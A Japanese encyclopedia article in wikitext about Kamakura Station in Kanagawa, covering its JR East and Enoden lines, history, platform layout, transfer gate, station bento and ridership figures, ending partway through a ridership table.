駅周辺が観光地であるため、土曜・休日は臨時列車が当駅まで運転されることがある。留置線はあるが当駅の折り返しは不可で、下りは折り返し可能な逗子駅あるいは横須賀駅に、留置線内に留まる上りは大船駅まで回送させる場合が多い。夕方も留置場所から当駅まで回送させ、乗客を乗せて出発する。
階段部はエレベーターやエスカレーターが設置されている主階段(旧A階段)と、北鎌倉寄りにこれらが設置されていない階段(旧B階段)の二箇所がある。上屋は新旧ある構造で、柱の一部は明治・大正期の古レール製である。Suicaグリーン券専用の自動券売機がホーム上に2台設置されている。
構内は東西改札それぞれにトイレおよびエレベーターが設置されている。
駅舎の東口は、従来から飲食店を中心とした商店があったが改装され、2007年10月31日に「エキスト鎌倉」として開業した。1階のコンビニエンスストアと鎌倉市の観光案内所以外はすべて飲食関連の商店である。「エキスト鎌倉」は2016年9月30日に閉店して大規模改装し、「CIAL鎌倉(シァル鎌倉)」として2017年3月22日に新装開業した。
当駅開設時の土地権利から、改札内はホーム上の加藤売店と大船軒のみである。大船軒の駅そば屋は2017年11月8日に閉店後、2018年3月20日に「いろり庵きらく鎌倉店」として開業した。
この他、東口にみどりの窓口と指定席券売機が設置されている。また、西口にはお客さまサポートコールシステムが導入されており、早朝は遠隔対応のため改札係員が不在となる。
(出典:JR東日本:駅構内図)
頭端式ホーム2面2線を有する地上駅である。JRとホーム番線を連番で設定しており、3 - 5番線となっている。場内信号機による運転上の表示は3番線・4番線である。5番線は早朝の一部列車のみが使用するが、正月やゴールデンウィークなどの繁忙期は2線を使った交互発車となる。2023年3月18日のダイヤ改正より、5番線にて夜間留置が行われるようになった。
構内で繋がっていることからJRの券売機でも江ノ島電鉄の普通乗車券が購入できるほか、江ノ電の入場券でJR構内へ、JRの入場券で江ノ電の構内へそれぞれ入場が可能である(両社でそれぞれの様式の入場券が発売されているが価格は同じにされている)。
トイレは3番ホーム先端に設置され、男性用トイレ横にオストメイト対応の多目的トイレある。改札(西口)からホームまで段差がなく、バリアフリーに対応している。
構内にJR東日本と江ノ島電鉄との乗り換え改札(中間改札)があるが、両社共に乗り継ぎ精算機は設置されておらず、両社にそれぞれ有効な乗車券か、PASMOやSuicaもしくは、これらと相互利用できる交通系ICカードで利用する。
江ノ電のみを利用する場合も、JR鎌倉駅改札からの入出場(西口は入場のみ)が可能となっている。この乗り換え改札はJR所有の自動改札機が設置されているが特別仕様で、江ノ電側から東口に通り抜ける場合のみ、乗車情報を乗車券に認証記録させるために赤い点滅ボタンを押す必要がある。
この乗り換え改札は、駅構内の混雑・危険回避のため、正月・ゴールデンウィーク・花火大会などの繁忙期は閉鎖され、東口は江ノ電の乗車券が販売されなくなり、完全に構内を分離する形となる。
江ノ電初代駅舎時代は連絡改札はなく、改札を出て国鉄側の改札を通る必要があった。頭端式ホームすぐ前が改札になっており、今の連絡通路やエキナカ施設がある場所は江ノ電不動産の店舗であった。
大船軒が販売する主な駅弁は下記の通り。
近年の1日平均乗降人員の推移は下記の通り(JRを除く)。
近年の1日平均乗車人員の推移は下記の通り。
住民は「表口」と呼んでいる。駅前の広場はロータリーになっており、バスターミナルがある。広場の北側から鶴岡八幡宮の裏参道(小町通り)が始まる。入口に大鳥居がある。観光ルートとして人通りが多く、車両通行規制時間帯が設けられている。広場から神奈川県道303号鎌倉停車場線がおよそ50メートル直進する。鎌倉停車場線は、終点の鎌倉駅入口交差点で神奈川県道21号横浜鎌倉線と交差する。横浜鎌倉線は鶴岡八幡宮の表参道(若宮大路)になっている。駅から左方向は段葛で1キロメートル (km) 弱で鶴岡八幡宮へ、右方向はおよそ1kmで国道134号へそれぞれ至る。
「鎌倉とうきゅう」と飲食店が入居する雑居ビル「グルメプラザ109」がある。 1959年から1973年まで西武百貨店が駅前に出店していたが、第一勧業(みずほ)銀行を経て、建物を2008年に地場和食店「御代川」が購入して営業している。
駅舎の右側、北鎌倉寄りに西口方面への地下通路があり、鎌倉市の展示コーナーが設けられている。地下通路の壁画は、地元漫画家の横山隆一による「鎌倉カーニバル」である。
住民は「裏口」および「裏駅」と呼んでいる。西口は大正期の二代目駅舎改築時に開設。現代の西口駅舎はJR、江ノ電ともに二代目(それぞれ1930年、1981年に落成)。駅前広場は三角形になっており、地元では「三角公園」と呼ばれる。ここには二代目駅舎の時計塔が保存してある。この公園の脇から前述の東口への地下道がある。駅前にはタクシー用のロータリーがある。バス路線に関しては、鎌倉駅着のものはあるが鎌倉駅発はなく、市役所前から発車する。
駅前に鎌倉駅バスターミナルが整備されている他、若宮大路上にパークアンドライド用バス「フクちゃん号」専用の鎌倉駅入口バス停が設置されている。
前述のように、西口発着路線は鎌倉駅西口着、鎌倉市役所発という形態をとっている。これは、バス開通時に、鎌倉市・江ノ電・タクシー会社の意思疎通が上手く働かず、三者とも話が決裂したためである。 | [
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"text": "住民は「表口」と呼んでいる。駅前の広場はロータリーになっており、バスターミナルがある。広場の北側から鶴岡八幡宮の裏参道(小町通り)が始まる。入口に大鳥居がある。観光ルートとして人通りが多く、車両通行規制時間帯が設けられている。広場から神奈川県道303号鎌倉停車場線がおよそ50メートル直進する。鎌倉停車場線は、終点の鎌倉駅入口交差点で神奈川県道21号横浜鎌倉線と交差する。横浜鎌倉線は鶴岡八幡宮の表参道(若宮大路)になっている。駅から左方向は段葛で1キロメートル (km) 弱で鶴岡八幡宮へ、右方向はおよそ1kmで国道134号へそれぞれ至る。",
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"text": "「鎌倉とうきゅう」と飲食店が入居する雑居ビル「グルメプラザ109」がある。 1959年から1973年まで西武百貨店が駅前に出店していたが、第一勧業(みずほ)銀行を経て、建物を2008年に地場和食店「御代川」が購入して営業している。",
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"text": "駅舎の右側、北鎌倉寄りに西口方面への地下通路があり、鎌倉市の展示コーナーが設けられている。地下通路の壁画は、地元漫画家の横山隆一による「鎌倉カーニバル」である。",
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"text": "住民は「裏口」および「裏駅」と呼んでいる。西口は大正期の二代目駅舎改築時に開設。現代の西口駅舎はJR、江ノ電ともに二代目(それぞれ1930年、1981年に落成)。駅前広場は三角形になっており、地元では「三角公園」と呼ばれる。ここには二代目駅舎の時計塔が保存してある。この公園の脇から前述の東口への地下道がある。駅前にはタクシー用のロータリーがある。バス路線に関しては、鎌倉駅着のものはあるが鎌倉駅発はなく、市役所前から発車する。",
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"text": "前述のように、西口発着路線は鎌倉駅西口着、鎌倉市役所発という形態をとっている。これは、バス開通時に、鎌倉市・江ノ電・タクシー会社の意思疎通が上手く働かず、三者とも話が決裂したためである。",
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| 鎌倉駅(かまくらえき)は、神奈川県鎌倉市小町一丁目および御成町にある、東日本旅客鉄道(JR東日本)・江ノ島電鉄の駅である。 | {{駅情報
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|駅名 = 鎌倉駅
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{{osm box|n|506122717|JR 鎌倉駅}}
{{osm box|w|101918460|鎌倉駅 東口駅舎}}
'''鎌倉駅'''(かまくらえき)は、[[神奈川県]][[鎌倉市]][[小町 (鎌倉市)|小町]]一丁目および[[御成町 (鎌倉市)|御成町]]にある、[[東日本旅客鉄道]](JR東日本)・[[江ノ島電鉄]]の[[鉄道駅|駅]]である。
== 乗り入れ路線 ==
JR東日本の各線(後述)と、江ノ島電鉄線の合計3路線が乗り入れる接続駅で、[[駅ナンバリング|駅番号]]が付与されている。
* JR東日本:各線(後述)
* 江ノ島電鉄:[[File:Number prefix Enoden.svg|15px|EN]] 江ノ島電鉄線 - 駅番号「'''EN15'''」
JR東日本の駅は[[横須賀線]]の中間駅で、[[東京駅]]経由の[[横須賀・総武快速線|総武快速線]]直通系統と[[新宿駅]]経由で[[宇都宮線]]に直通する[[湘南新宿ライン]]の列車が停車する。土曜・休日は臨時列車も停車する。かつては、一部の「[[成田エクスプレス]]」が繁忙期の休日日中を中心に[[横須賀駅]]まで延長され、当駅に停車していた(2017年1月まで。)
* [[File:JR JO line symbol.svg|15px|JO]] [[横須賀線]]:東海道本線([[品鶴線]]経由)を経て、大船駅より線路名称上の横須賀線を走る。上り列車は多くの列車が東京駅を経由し、総武快速線へ直通する。 - [[駅ナンバリング#JR東日本・東京モノレール・東京臨海高速鉄道|駅番号]]「'''JO 07'''」
* [[File:JR JS line symbol.svg|15px|JS]] [[湘南新宿ライン]]:東海道本線(品鶴線経由)を経て、[[西大井駅]]まで横須賀線と同一の線路を使用し、[[新宿駅]]経由で宇都宮線へ直通する。 - 駅番号「'''JS 07'''」
江ノ島電鉄の駅は[[江ノ島電鉄線]]の終着駅である。始発駅の誤解も多いが、始発は「'''EN01'''」の[[藤沢駅]]である。
== 歴史 ==
* [[1889年]]([[明治]]22年)[[6月16日]]:[[横須賀線|官設鉄道]][[大船駅]] - [[横須賀駅]]の開通時に、'''鎌倉駅'''が開業する。開業時は相対式ホーム2面2線である。
* [[1909年]](明治42年)[[10月12日]]:横須賀線所属駅となる。
* [[1910年]](明治43年)[[11月14日]]:江之島電氣鉄道の'''小町駅'''が駅東口の旧鎌倉警察署あたり、[[併用軌道]]上に開業する({{Coord|35|19|7.5|N|139|33|7|E|region:JP|name=江之島電氣鉄道 小町駅→鎌倉駅(旧)}})。
* [[1915年]]([[大正]]4年)[[10月18日]]:江之島電氣鉄道の'''小町駅'''が'''鎌倉駅'''に改称する。
* [[1916年]](大正5年)[[11月23日]]:[[鉄道省]]鎌倉駅、'''二代目駅舎'''が落成する。この時に[[島式ホーム]]1面2線となり、西口および地下通路設置。時計塔のある駅舎として親しまれた。
* [[1930年]]([[昭和]]5年):省線の西口駅舎が二代目になる(正確な日時不明)。
* [[1936年]](昭和11年)8月:省線鎌倉駅、主階段の北鎌倉寄りに階段を増設する。
* [[1949年]](昭和24年)
** [[3月1日]]:江ノ島電気鉄道の駅が現在地に移転し、社名変更で同年8月1日に路線名を'''江ノ島鎌倉観光線'''と改称する。
** [[6月1日]]:[[日本国有鉄道]]が発足し、[[運輸通信省 (日本)|運輸通信省]]([[1943年]]に鉄道省から改称)の駅は国鉄の駅となる。
* [[1962年]](昭和37年)[[4月21日]]:国鉄駅での貨物取り扱いを廃止する。
* [[1968年]](昭和43年)[[12月9日]]:'''東西地下連絡通路(地下道)'''が開通する。
* [[1981年]](昭和56年)[[9月1日]]:江ノ島鎌倉観光が'''江ノ島電鉄'''に社名変更し、私鉄鎌倉駅は江ノ島電鉄線の駅となる。'''江ノ電の二代目駅舎'''が落成する。
* [[1984年]](昭和59年)[[10月3日]]:国鉄の駅舎を現在のものに改築(三代目)<ref>{{Cite book ja-jp |author = 交建設計・駅研グループ |year = 1996 |title = 駅のはなし 明治から平成まで
|edition = 改訂初版 |publisher = 成山堂書店 |isbn = 4-425-76032-8 |page = 97 }}</ref>し、駅舎落成記念乗車券が発売される。二代目駅舎時計塔を駅西広場へ移設する。
* [[1987年]](昭和62年)4月1日:[[国鉄分割民営化]]により、国鉄の駅はJR東日本の駅となる。
* [[1993年]]([[平成]]5年)[[11月5日]]:JR東日本の駅に[[自動改札機]]を設置<ref>{{Cite book|和書 |date=1994-07-01 |title=JR気動車客車編成表 '94年版 |chapter=JR年表 |page=187 |publisher=ジェー・アール・アール |ISBN=4-88283-115-5}}</ref>。
* [[1997年]](平成9年)[[3月18日]]:江ノ電との連絡改札口に自動改札機を設置<ref>{{Cite book|和書 |date=1997-07-01 |title=JR気動車客車編成表 '97年版 |chapter=JR年表 |page=184 |publisher=ジェー・アール・アール |ISBN=4-88283-118-X}}</ref>。
* [[2000年]](平成12年):JR東日本の駅が[[関東の駅百選]]に選定される。
* [[2001年]](平成13年)
** [[11月18日]]:JR東日本で[[ICカード]]「[[Suica]]」の利用が可能となる。
** [[12月1日]]:湘南新宿ライン運転開始。
* [[2007年]](平成19年)
** [[3月18日]]:江ノ島電鉄でICカード「[[PASMO]]」の利用が可能となる。
** [[10月31日]]:東口の[[駅ビル]]「エキスト鎌倉」が開業<ref name="shokei070925"/>する。
* [[2013年]](平成25年)[[7月1日]]:童謡「鎌倉」を駅の発車メロディーとして、[[2015年]](平成27年)6月30日までの期間限定<ref>[http://sankei.jp.msn.com/region/news/130701/kng13070118530006-n1.htm JR鎌倉駅の発車メロディー フルート演奏による童謡「鎌倉」] MSN産経ニュース 2013年7月1日</ref>で採用する。
* [[2014年]](平成26年)[[3月15日]]:横浜駅・大船駅発着の「[[成田エクスプレス]]」の一部列車が、横須賀駅までの臨時列車として繁忙期の土日祝のみ延長運転を開始し、当駅が停車駅となる。
* [[2017年]](平成29年)
** [[1月]]:成田エクスプレスの延長運行が休止。
** [[3月22日]]:東口を改装し<ref>{{PDF|[https://www.jreast.co.jp/press/2016/yokohama/20160929_y01.pdf 鎌倉駅がより便利で快適な駅に変わります!]}}([[東日本旅客鉄道横浜支社|JR東日本横浜支社]] 2016年9月29日)</ref>、駅ビルは「CIAL鎌倉」<ref name="hamarepo170322"/>として新装開業する。
* [[2018年]](平成30年)[[3月20日]]:大船軒駅そば屋が「いろり庵きらく鎌倉店」として新装開業する。
== 駅構造 ==
=== JR東日本 ===
{{駅情報
|社色 = green
|文字色 =
|駅名 = JR 鎌倉駅
|画像 = JR Kamakura Station WestGate.jpg
|pxl = 300
|画像説明 = 西口(2009年5月)
|よみがな = かまくら
|ローマ字 = Kamakura
|副駅名 =
|前の駅 = JO 08 JS 08 [[北鎌倉駅|北鎌倉]]
|駅間A = 2.2
|駅間B = 3.9
|次の駅 = [[逗子駅|逗子]] JO 06 JS 06
|駅番号 = {{駅番号r|JO|07|#0067c0|1}}<br />{{駅番号r|JS|07|#e21f26|1}}
|電報略号 = クラ
|所属事業者 = [[東日本旅客鉄道]](JR東日本)
|所属路線 = {{color|#0067c0|■}}[[横須賀線]]<br />{{Color|#f68b1e|■}}{{color|#0067c0|■}}[[湘南新宿ライン]]([[宇都宮線]]直通)
|キロ程 = 4.5 km([[大船駅|大船]]起点)<br />[[東京駅|東京]]から[[品鶴線]]経由で53.9
|起点駅 =
|所在地 = [[神奈川県]][[鎌倉市]]小町一丁目1-1
|座標 = {{coord|35|19|8.5|N|139|33|1.5|E|region:JP_type:railwaystation|display=inline,title|name=JR 鎌倉駅}}
|駅構造 = [[地上駅]]
|ホーム = 1面2線
|開業年月日 = [[1889年]]([[明治]]22年)[[6月16日]]
|廃止年月日 =
|乗車人員 = 38,232
|統計年度 = 2022年
|乗換 =
|備考 = {{Plainlist|
* [[日本の鉄道駅#直営駅|直営駅]]([[日本の鉄道駅#管理駅|管理駅]])
* [[みどりの窓口]] 有
* [[駅集中管理システム|お客さまサポートコールシステム]]導入駅{{Refnest|group="*"|西口に導入<ref name="StationCd=476_231021" />。}}<ref name="StationCd=476_231021" />}}
|備考全幅 = {{Reflist|group="*"}}
}}
{{osm box|w|447007288|JR 鎌倉駅西口}}
島式ホーム1面2線を有する[[地上駅]]で、上下線共に留置線を1本ずつ有する。ホームは盛土の上に設けられ、[[改札]]口と江ノ電のりばは横須賀線ホームより低く位置し、改札口東西通路上の線路は[[桁橋|ガーター橋]]が使われている。かつて下り線に貨物側線もあったが、[[1970年代]]に撤去されて跡地は[[東急ストア]]側のトラックターミナルとなり、現在は[[駐車場]]である。
駅周辺が[[観光地]]であるため、土曜・休日は[[臨時列車]]が当駅まで運転されることがある。留置線はあるが当駅の折り返しは不可で、下りは折り返し可能な[[逗子駅]]あるいは[[横須賀駅]]に、留置線内に留まる上りは[[大船駅]]まで回送させる場合が多い。夕方も留置場所から当駅まで回送させ、乗客を乗せて出発する。
階段部は[[エレベーター]]や[[エスカレーター]]<ref group="注釈">主階段のエスカレーターは北鎌倉寄り階段に上下の二本。逗子寄り階段には設置されていない。逗子寄り階段がオリジナルで、北鎌倉寄り階段は後に増設された物。</ref>が設置されている主階段(旧A階段)と、北鎌倉寄りにこれらが設置されていない階段(旧B階段)<ref group="注釈">1970-80年代の一時期、使用を中止されていたが、元々は廃止された[[チッキ|手小荷物]]運搬専用地下通路の転用。</ref>の二箇所がある。[[上屋]]は新旧ある構造で、柱の一部は明治・大正期の古レール製である。[[Suica]]グリーン券専用の[[自動券売機]]がホーム上に2台設置されている。
構内は東西改札それぞれに[[トイレ]]およびエレベーターが設置されている。
駅舎の東口は、従来から飲食店を中心とした商店があったが改装され、[[2007年]]10月31日に「'''エキスト鎌倉'''」として開業した<ref name="shokei070925">[http://shonan.keizai.biz/headline/346/ JR鎌倉駅東口商業施設、リニューアルで「エキスト鎌倉」に](湘南経済新聞 2007年9月25日)</ref>。1階の[[コンビニエンスストア]]<ref group="注釈">エキスト時代は構内側専用だったが、シァル鎌倉になってからはコンビニは構内からアクセス不能になった。</ref>と鎌倉市の観光案内所以外はすべて飲食関連の商店である。「エキスト鎌倉」は[[2016年]]9月30日に閉店して大規模改装し、「'''[[CIAL]]鎌倉'''(シァル鎌倉)」として[[2017年]]3月22日に新装開業した<ref name="hamarepo170322">[http://hamarepo.com/story.php?story_id=5927 3月22日オープンの「CIAL鎌倉」を一足早く大公開!](はまれぽ.com 2017年3月22日)</ref><ref>[https://www.cial.co.jp/kamakura/ CIAL鎌倉](公式サイト)</ref>。
当駅開設時の土地権利から、改札内はホーム上の加藤売店と[[大船軒]]のみである。大船軒の[[立ち食いそば・うどん店#駅そば|駅そば]]屋は2017年11月8日に閉店後、[[2018年]]3月20日に「'''いろり庵きらく'''鎌倉店」<ref group="注釈">[[日本レストランエンタプライズ]](NRE、現:[[JR東日本クロスステーション]])、大船軒の親会社。</ref>として開業した。
この他、東口に[[みどりの窓口]]と[[指定席券売機]]が設置されている。また、西口には[[駅集中管理システム|お客さまサポートコールシステム]]が導入されており、早朝は遠隔対応のため改札係員が不在となる<ref name="StationCd=476_231021">{{Cite web|和書|url=https://www.jreast.co.jp/estation/station/info.aspx?StationCd=476|title=駅の情報(鎌倉駅):JR東日本|publisher=東日本旅客鉄道|accessdate=2023-10-21|archiveurl=https://web.archive.org/web/20231021143656/https://www.jreast.co.jp/estation/station/info.aspx?StationCd=476|archivedate=2023-10-21}}</ref>。
==== のりば ====
<!-- 2012年1月現在の現地のLED発車標の表記に準拠 -->
{|class="wikitable"
!番線<!-- 事業者側による呼称 -->!!路線!!方向!!行先
|-
!1
|[[File:JR JO line symbol.svg|15px|JO]] 横須賀線
|style="text-align:center"|下り
|[[逗子駅|逗子]]・[[横須賀駅|横須賀]]・[[久里浜駅|久里浜]]方面
|-
!rowspan=2|2
|[[File:JR JO line symbol.svg|15px|JO]] [[横須賀・総武快速線|横須賀・総武線(快速)]]
|style="text-align:center"|上り
|[[横浜駅|横浜]]・[[東京駅|東京]]・[[千葉駅|千葉]]方面
|-
|[[File:JR JS line symbol.svg|15px|JS]] [[湘南新宿ライン]]
|style="text-align:center"|北行
|[[渋谷駅|渋谷]]・[[新宿駅|新宿]]・[[大宮駅 (埼玉県)|大宮]]方面
|}
(出典:[http://www.jreast.co.jp/estation/stations/476.html JR東日本:駅構内図])
<gallery>
JR Yokosuka-Line Kamakura Station East Gates.jpg|東改札(2019年6月)
JR Yokosuka-Line Kamakura Station West Gates.jpg|西改札(2019年6月)
JR Yokosuka-Line Kamakura Station Platform.jpg|ホーム(2019年6月)
Ofuna ken ekiben booth.jpg|大船軒の駅弁売場(2008年8月)
</gallery>
=== 江ノ島電鉄 ===
{{駅情報
|社色 = green
|文字色 =
|駅名 = 江ノ島電鉄 鎌倉駅
|画像 = Enoden Kamakura Station.jpg
|pxl = 300
|画像説明 = 駅舎(2009年5月)
|よみがな = かまくら
|ローマ字 = Kamakura
|副駅名 =
|前の駅 = EN14 [[和田塚駅|和田塚]]
|駅間A = 0.8
|電報略号 =
|駅番号 = {{駅番号r|EN|15|green|4}}
|所属事業者 = [[江ノ島電鉄]]
|所属路線 = {{Color|forestgreen|■}}[[江ノ島電鉄線]]
|キロ程 = 10.0
|起点駅 = [[藤沢駅|藤沢]]
|所在地 = [[神奈川県]][[鎌倉市]]御成町1-15
|座標 = {{coord|35|19|6.6|N|139|33|0.3|E|region:JP_type:railwaystation|name=江ノ電 鎌倉駅}}
|駅構造 = [[地上駅]]
|ホーム = 2面2線
|開業年月日 = {{Nowrap|[[1949年]]([[昭和]]24年)[[3月1日]]}}
|廃止年月日 =
|乗車人員 =
|乗降人員 = 25,802
|統計年度 = 2019年
|乗換 =
|備考 = [[直営駅]]
}}
{{osm box|n|263261171|江ノ電 鎌倉駅}}
[[頭端式ホーム]]2面2線を有する[[地上駅]]である。JRとホーム番線を連番で設定しており、3 - 5番線となっている。場内信号機による運転上の表示は3番線・4番線である。5番線は早朝の一部列車のみが使用するが、正月やゴールデンウィークなどの繁忙期は2線を使った交互発車となる。2023年3月18日のダイヤ改正より、5番線にて夜間留置が行われるようになった。
構内で繋がっていることからJRの券売機でも江ノ島電鉄の普通乗車券が購入できるほか、江ノ電の入場券でJR構内へ、JRの入場券で江ノ電の構内へそれぞれ入場が可能である(両社でそれぞれの様式の入場券が発売されているが価格は同じにされている)。
[[便所|トイレ]]は3番ホーム先端に設置され、男性用トイレ横にオストメイト対応の多目的トイレある。改札(西口)からホームまで段差がなく、[[バリアフリー]]に対応している。
==== のりば ====
<!-- 現地のLED発車標の表記に準拠 -->
{|class="wikitable"
!番線!!路線!!行先!!備考
|-
! 3
|rowspan="3"|[[File:Number prefix Enoden.svg|15px|EN]] 江ノ島電鉄線
|[[長谷駅 (神奈川県)|長谷]]・[[江ノ島駅|江ノ島]]・[[藤沢駅|藤沢]]方面
|rowspan=2|線路を共用
|-
! 4
|(降車ホーム)
|-
! 5
|長谷・江ノ島・藤沢方面
|通常は早朝の一部列車のみ
|}
<gallery>
ファイル:江ノ電-鎌倉駅.jpg|3番線の車止めと親子カエル
ファイル:Enoden-KamakuraStation.jpg|江ノ電・鎌倉駅の構内(2020年)
</gallery>
== 両社間の連絡改札 ==
[[ファイル:JR Yokosuka-Line Kamakura Station Enoden Transfer Gates.jpg|thumb|連絡改札]]
構内にJR東日本と江ノ島電鉄との乗り換え改札(中間改札)があるが、両社共に乗り継ぎ精算機は設置されておらず、両社にそれぞれ有効な乗車券か、PASMOやSuicaもしくは、これらと相互利用できる交通系ICカードで利用する。
江ノ電のみを利用する場合も、JR鎌倉駅改札からの入出場(西口は入場のみ)が可能となっている。この乗り換え改札はJR所有の自動改札機が設置されているが特別仕様で、江ノ電側から東口に通り抜ける場合のみ、乗車情報を乗車券に認証記録させるために赤い点滅ボタンを押す必要がある。
この乗り換え改札は、駅構内の混雑・危険回避のため、正月・ゴールデンウィーク・花火大会などの繁忙期は閉鎖され、東口は江ノ電の乗車券が販売されなくなり、完全に構内を分離する形となる。
江ノ電初代駅舎時代は連絡改札はなく、改札を出て国鉄側の改札を通る必要があった。頭端式ホームすぐ前が改札になっており、今の連絡通路やエキナカ施設がある場所は江ノ電[[不動産]]の店舗であった。
== 駅弁 ==
[[大船軒]]が販売する主な[[駅弁]]は下記の通り<ref>{{Cite journal|和書|year=2023|publisher=[[JTBパブリッシング]]|journal=JTB時刻表|issue=2023年3月号|page=229}}</ref>。
{{Div col||20em}}
* 伝承鰺の押寿し
* やまゆり牛しぐれ煮弁当
* しらす弁当
* 鰺の押寿し
* 大船軒ハムサンドウィッチ
{{Div col end}}
== 利用状況 ==
* '''JR東日本''' - 2022年度の1日平均[[乗降人員#乗車人員|'''乗車'''人員]]は'''38,232人'''である<ref group="利用客数">[https://www.jreast.co.jp/passenger/2020_01.html 各駅の乗車人員] - JR東日本</ref>。
* '''江ノ島電鉄''' - 2019年度の1日平均[[乗降人員|'''乗降'''人員]]は'''25,802人'''である<ref group="利用客数">{{Cite web|和書|url=https://www.enoden.co.jp/corporate/company/book/pdf/2021-all.pdf|archiveurl=|title=江ノ電グループ会社要覧 2021年版|archivedate=|accessdate=2021-04-17|publisher=江ノ島電鉄|format=PDF|page=45|language=日本語|deadlinkdate=}}</ref>。
*: 同社の駅の中では第1位。
=== 年度別1日平均乗降人員 ===
近年の1日平均'''乗降'''人員の推移は下記の通り(JRを除く)。
{|class="wikitable" style="text-align:right; font-size:85%;"
|+年度別1日平均乗降人員<ref group="乗降データ" name="kamakura">[https://www.city.kamakura.kanagawa.jp/soumu/toukei/kamakuratoukei/top2/kamakuranotokeitop.html 鎌倉の統計] - 鎌倉市</ref><ref group="乗降データ">[https://www.city.fujisawa.kanagawa.jp/shise/toke/nenpo/index.html 統計年報] - 藤沢市</ref>
!rowspan=2|年度
!colspan=2|江ノ島電鉄
|-
!1日平均<br />乗降人員
!増加率
|-
|2002年(平成14年)
|16,694
|
|-
|2003年(平成15年)
|16,755
|0.4%
|-
|2004年(平成16年)
|17,126
|2.2%
|-
|2005年(平成17年)
|17,548
|2.5%
|-
|2006年(平成18年)
|17,776
|1.3%
|-
|2007年(平成19年)
|19,884
|11.9%
|-
|2008年(平成20年)
|16,639
|−16.3%
|-
|2009年(平成21年)
|19,745
|18.7%
|-
|2010年(平成22年)
|19,190
|−2.8%
|-
|2011年(平成23年)
|19,377
|1.0%
|-
|2012年(平成24年)
|21,455
|10.7%
|-
|2013年(平成25年)
|21,962
|2.4%
|-
|2014年(平成26年)
|23,139
|5.4%
|-
|2015年(平成27年)
|23,987
|3.7%
|-
|2016年(平成28年)
|24,612
|2.6%
|-
|2017年(平成29年)
|27,194
|10.5%
|-
|2018年(平成30年)
|27,597
|1.5%
|-
|2019年(令和元年)
|25,802
|−6.5%
|}
=== 年度別1日平均乗車人員 ===
近年の1日平均'''乗車'''人員の推移は下記の通り。
{|class="wikitable" style="text-align:right; font-size:85%;"
|+年度別1日平均乗車人員<ref group="乗降データ" name="kamakura" />
!年度!!JR東日本!!江ノ島電鉄!!出典
|-
|1995年(平成{{0}}7年)
|39,052
|10,075
|<ref group="乗降データ">[http://www.pref.kanagawa.jp/uploaded/life/1128766_3967261_misc.pdf#search=%27%E7%B7%9A%E5%8C%BA%E5%88%A5%E9%A7%85%E5%88%A5%E4%B9%97%E8%BB%8A%E4%BA%BA%E5%93%A1%EF%BC%881%E6%97%A5%E5%B9%B3%E5%9D%87%EF%BC%89%E3%81%AE%E6%8E%A8%E7%A7%BB%27 線区別駅別乗車人員(1日平均)の推移]</ref>
|-
|1998年(平成10年)
|37,850
|8,989
|<ref group="神奈川県統計">平成12年</ref>
|-
|1999年(平成11年)
|37,509
|8,992
|<ref group="神奈川県統計" name="toukei2001">{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/369557.pdf 平成13年]}}</ref>
|-
|2000年(平成12年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2000_01.html 各駅の乗車人員(2000年度)] - JR東日本</ref>37,243
|9,071
|<ref group="神奈川県統計" name="toukei2001" />
|-
|2001年(平成13年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2001_01.html 各駅の乗車人員(2001年度)] - JR東日本</ref>38,064
|9,361
|<ref group="神奈川県統計">{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/369552.pdf 平成14年]}}</ref>
|-
|2002年(平成14年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2002_01.html 各駅の乗車人員(2002年度)] - JR東日本</ref>37,127
|9,458
|<ref group="神奈川県統計">{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/369547.pdf 平成15年]}}</ref>
|-
|2003年(平成15年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2003_01.html 各駅の乗車人員(2003年度)] - JR東日本</ref>37,575
|9,479
|<ref group="神奈川県統計">{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/369542.pdf 平成16年]}}</ref>
|-
|2004年(平成16年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2004_01.html 各駅の乗車人員(2004年度)] - JR東日本</ref>37,472
|9,785
|<ref group="神奈川県統計">{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/369533.pdf 平成17年]}}</ref>
|-
|2005年(平成17年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2005_01.html 各駅の乗車人員(2005年度)] - JR東日本</ref>37,839
|10,041
|<ref group="神奈川県統計">{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/369528.pdf 平成18年]}}</ref>
|-
|2006年(平成18年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2006_01.html 各駅の乗車人員(2006年度)] - JR東日本</ref>38,737
|9,847
|<ref group="神奈川県統計">{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/369523.pdf 平成19年]}}</ref>
|-
|2007年(平成19年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2007_01.html 各駅の乗車人員(2007年度)] - JR東日本</ref>39,719
|13,080
|<ref group="神奈川県統計">{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/35540.pdf 平成20年]}}</ref>
|-
|2008年(平成20年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2008_01.html 各駅の乗車人員(2008年度)] - JR東日本</ref>40,374
|13,917
|<ref group="神奈川県統計">{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/773803.pdf 平成21年]}}</ref>
|-
|2009年(平成21年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2009_01.html 各駅の乗車人員(2009年度)] - JR東日本</ref>40,314
|11,755
|<ref group="神奈川県統計">{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/161682.pdf 平成22年]}}</ref>
|-
|2010年(平成22年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2010_01.html 各駅の乗車人員(2010年度)] - JR東日本</ref>39,916
|11,707
|<ref group="神奈川県統計">{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/427362.pdf 平成23年]}}</ref>
|-
|2011年(平成23年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2011_01.html 各駅の乗車人員(2011年度)] - JR東日本</ref>40,041
|10,872
|<ref group="神奈川県統計">{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/706868.pdf 平成24年]}}</ref>
|-
|2012年(平成24年)
